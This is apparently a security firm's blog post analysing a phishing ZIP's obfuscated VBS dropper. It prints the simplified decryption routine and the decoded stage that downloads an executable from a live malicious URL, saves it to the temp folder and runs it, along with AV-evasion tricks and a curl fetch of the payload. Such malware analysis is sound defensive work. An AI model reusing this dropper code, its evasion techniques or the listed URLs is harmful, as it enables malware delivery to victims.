Analysis of a VBS Malware Dropper
Recently, I was willingly forwarded a phishing email (for science!) which contained a ZIP attachment, requesting the recipient to update their contact information:
The hyperlink pointed to https://weitblicker.com/wp-content/uploads/2019/10/goes/JVC_83860.zip . Inside this ZIP, was a heavily obfuscated VBS file (found [here] if you’d like to follow along).
The VBS seemed to employ numerous techniques to make analysis very difficult. First, the file used many commented random strings which due to the string length (an example can be seen above) seemed to crash or bog down numerous tools. Secondly, various decoy functions masked the true execution chain from being quickly visible. Lastly, the actual data for execution is obfuscated and encrypted.
My process of manually investigating this VBS script started with dealing with the large comment blocks. Deftly, I wrote some simple python (see picture below) to remove any line beginning with a single quotation mark ('
), so the viewing of the VBS would be much easier (found [here]):
Now that the remaining VBS could load into a text editor without threatening to cause massive blackouts along the east coast (really just freezing my sandbox), I began to study the execution chain of the VBS. The first thing that caught my eye was the initial error bypass at the top of the script, On Error Resume Next
. This would allow the code to continue if an error occurs, such as “a variable not declared” caught during execution of the script. Below this declaration was yet another clue in what the actual execution chain actually was. Anywhere these variables were assigned a value or called would indicate an actual operation performed in the execution of the malware. The next line was the first in many various fluff operations whose only goal was to clutter the script in an attempt to obfuscate the execution routine of the malware from analysis. (I also ponder whether the extra fluff may aid in evasion of automated scanning utilities due to its size).
After visually inspecting the entire script, I then decided to start at the very bottom and work my way back up. Understanding that RQa
, eBAb
, Fcb
, UeS
, qFf
were the only variables declared via dim
at the top (and anywhere) in the script, I figured I could ignore the operations below the line eXEcUTegLObAL qFf
.
Ok, so, executeGlobal? It would appear that this call in VBScript allows one to execute statements passed to the call in the current namespace [1]. In the context of this script, passing whatever is contained in qFf
will be executed. Above this, ignoring the fluff, there is a WScript.Sleep
call, which sleeps execution the number of milliseconds passed to the call. Searching for the variable nREy
, I found the following assignment:
nREy = 367–266–20 + 302–14 + 25–18 + 24–21 + 384–360–352–440 + 6 + 251 + 30132
Solving this, it is apparent that the script sleeps for 30,000 ms (30 seconds) before executing the executeGlobal call as a means to potentially bypass AV sandboxes. After this discovery, I also determined it may be best to highlight only the assignments of variables that were actually declared in order to shut out the noise.
Jumping back down to the bottom, I continued my trek back up the script. Three consecutive calls to a function NpNt
were made, assigning a value to the qFf variable.
Skipping up to the function itself, the following is seen:
By removing the extra operations and simplifying the math in the if / else trees, the function becomes:
To help understand the execution flow, I renamed CTS
to crypted
, V1VI
to key
, and the function NpNt
to decrypt
, and EAlt
to XOR_func
. I know I jumped the gun a bit, but I’ll explain EAlt
in a minute. The function seems to step character by character, seeing if the character is “1” (48) through “9” (57), XOR’ing that with a given key, then appending the char value to a placeholder string, which is then returned. In summary, every numeric value in the encrypted string is XOR’d with the given key. As promised, here is the original version of EAlt
:
Even without simplifying the function it is apparent the function is merely returning the XOR of two values. Still, here is the simplified version:
Armed now with the understanding of the decryption routine, I returned to the place I left near the bottom. Again, I saw 3 rounds of decryption, but this time with another string. Here, I also saw additional variables being assigned values for use in the execution, so as above I continued marking them as important. This continued up the script until I was met with the string JHm
, for which I conveniently renamed to salt_string
. After going over the lines earmarked with “ '!!!
” a few times to ensure I hadn’t skipped any, I copied over a much simplified version of the VBS [full code here]:
On Error Resume Next
dim crypt_string_1, crypt_string, UeS, embeddedcrypt_string_1 = “6RE0POgBnj23]11@(123yX121+X7 D4<j?V14oqpH¹⁷DPjj=%86 lw.G9CY4|h17<12{mj97/*(tl91x$2qtC9MK.W-17
…
D123h,6ue4#bm96e13Ie:/90R127v*PY}64w6kv;b6jsy66;o96k~Q17xHR3:tjbl 8Il g*123F$n~(108=:”crypt_string = “7hu] Zp8.b^W70I96}{r^*92NH@g$W23Y [O]26pRn)119g 9 H6XIle119k?r127)4w])-P105!9Or&O5PMh27 P16%<6brP9agUW-
…
~:7.s6kV |s 117$iN110GM/tE72zw&90hz-tz119#OHXeb6BL T*2 <Bk117y#esV⁷⁹ICk)27I8 Nft3*%-56n111bi)o101ts U99)m”function decrypt(crypted, key)
On Error Resume NextUUf = crypted
sJs = “” ‘!!!
wWLu = “”
FETw = 1for i=1 to len(UUf)
if ( asc(mid(UUf, i, 1)) > 47 and asc(mid(UUf, i, 1)) < 58 ) then
sJs = sJs + mid(UUf, i, 1) ‘!!!
FETw = 1
else
if FETw = 1 then
NEL = CInt(sJs) ‘!!!
VIxJ = XOR_Func(NEL, key) ‘!!!
wWLu = wWLu + Chr(VIxJ) ‘!!!
end if
sJs = “”
FETw = 0
end if
vkB = bEBk or CFcnext
decrypt = wWLu
end functionfunction XOR_Func(qit, ANF)
On Error Resume Next
sCLx = qit xor ANF
XOR_Func = sCLx
end functionsleeper = 30000salt_string = “C6hgj1I6rLntt9yp40AlGkkiDYvoPq0Ca3HoxUgnVzzpA9QuuUlwxwqdHrvij5JsD9CrXaQHE1eciRkGuseHy7yFOUumRC1KqXyub6gzUbd5c4esDU7Ti5Bdr7
…AYJh217uJjkbv8Xmcn4cF3rJoYJoLnag7BnHawAypYvFbujSUVNbaRBLJdlHxU45bLrWHvrvkfEProXdyeBdm5Y66COZcruLjvYKn0wYKVxCc”qrB = 13
Rha = 8For i = 0 To 2387406 Step 1
gxa = gxa + qrB — Rha ‘ 13–8 plus previous gxa value ‘!!!
Next
xmh = 999999
gxa = gxa * xmh ‘!!!
tcA = CStr(gxa) ‘!!!
rWd = Mid(tcA, 7, 2)
ncA = CInt(rWd) ‘!!!
rgcQ = Asc(Mid(salt_string, ncA, 1)) ‘!!!
rWd = Mid(tcA, 8, 2) ‘!!!
ncA = CInt(rWd) ‘!!!
kdJO = Asc(Mid(salt_string, ncA, 1)) ‘!!!
rWd = Mid(tcA, 9,2) ‘!!!
ncA = CInt(rWd) ‘!!!
NIjg = Asc(Mid(salt_string, ncA, 1)) ‘!!!
UeS = decrypt(crypt_string_1, NIjg) ‘!!!
UeS = decrypt(UeS, kdJO) ‘!!!
UeS = decrypt(UeS, rgcQ) ‘!!!
WScript.Echo UeS ‘ added so I can view UeS
embedded = decrypt(crypt_string, NIjg) ‘!!!
embedded = decrypt(embedded, kdJO) ‘!!!
embedded = decrypt(embedded, rgcQ) ‘!!!
WScript.Sleep sleeper '!!! Sleep 30 seconds
Wscript.Echo embedded 'added so I can see embedded
‘eXEcUTegLObAL embedded 'execute embedded VBScript — commented out so it will not run
I felt pretty confident that I understood what the execution chain of the script was doing, so I now opened the script in Visual Studio for debugging by issuing the command:
cscript /X <script.vbs>
Upon setting a breakpoint on the final call of the script, the values of UeS
and embedded
(was qFf
) can be seen:
on error resume next
arr=split(UeS,”___”)
set a=WScript.CreateObject(arr(0))
set b=WScript.CreateObject(arr(1))
f=a.ExpandEnvironmentStrings(arr(2))&arr(3)
set c=a.CreateShortcut(f)
c.TargetPath=arr(4)
c.Save
if b.FileExists(f)=false Then
e=a.ExpandEnvironmentStrings(arr(2))&arr(5)
Call u
sub u
set d=createobject(arr(6))
set w=createobject(arr(7))
d.Open arr(8),arr(9),False
d.setRequestHeader arr(10),arr(11)
d.Send
with w
.type=1
.open
.write d.responseBody
.savetofile e,2
end with
end sub
WScript.Sleep 60000
a.Exec(e)
end if
As seen above, it was apparent that the values of UeS
(broken out below) are fed into the embedded code block. Then with some string manipulation, a file (“VideoBoost.exe
”) is saved to the user’s temp folder, execution is slept for 60 seconds, and then the binary is executed.
Replacing executeGlobal with the value of embedded
, and executing the script in the same fashion (with the breakpoint set at the last WScript.Echo
as above), the final round of string obfuscation can be defeated, and the location of the executable that is dropped by this VBS dropper can be seen by stepping through the execution block:
It can be seen above, in theUeS
breakout, the URL the VBS dropper is fetching is “venicefcmiami.com/wp-content/uploads/2019/10/zxm/asdgysgdysffs.png?bg=spx29
”. Also, the VBS is sending a User-Agent of “Windows” and saving the response as an .exe
. Performing a curl to that URL, I was indeed provided an executable as a response:
$ curl — user-agent “Windows” http://venicefcmiami.com/wp-content/uploads/2019/10/zxm/asdgysgdysffs.png?bg=spx29 — output 1.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 724k 100 724k 0 0 298k 0 00:00:02 0:01:12 — : — : — 298k$ file 1.exe
1.exe: PE32 executable (GUI) Intel 80386, for MS Windows
Submitting this executable to VirusTotal, I was provided the following (If you’d like to deep dive into this file, the SHA-256 is b970241209f848d51ac37a68ae92c90b2c704b343c66e4f9a849390be5d4c2f3
):
Interesting enough, submitting the VBS dropper from the ZIP file in VirusTotal provided these details (SHA-256 is 0b3cc47c138842bb41b32c9ac1118e8aca0d7b7e8550cbf34ff272023854094a
):
As suggested earlier, the evasion techniques of sleep, long comments, bogus operations, and string encryption seem to bypass detection on numerous AV platforms (Windows Defender did not seem to care about the VBS dropper either in my personal sandbox either).
Some final points: yes, a simple WScript.Echo
could have been placed right after the final assignment of UeS
or qFf
variables and provide much of the same information (but would it have been as much fun?); yes, I would highly suggest not running this or any piece of malware no matter how defanged you believe it is on a production (or non-sandbox) system; and finally, yes, VBS malware still exists in 2020!
If I get around to it, I’d like to break down the executable that is fetched, but for now, I leave that as an exercise for the reader. Happy hunting!
REFERENCES
1 — https://www.vbsedit.com/html/25ebfa26-d3b9-4f82-b3c9-a8568a389dbc.asp
Website: www.maveris.com
Email: info@maveris.com
Maveris exists to help your organization reach its fullest potential by providing thought leadership in IT and cyber so you can connect fearlessly. To learn more visit us at: www.maveris.com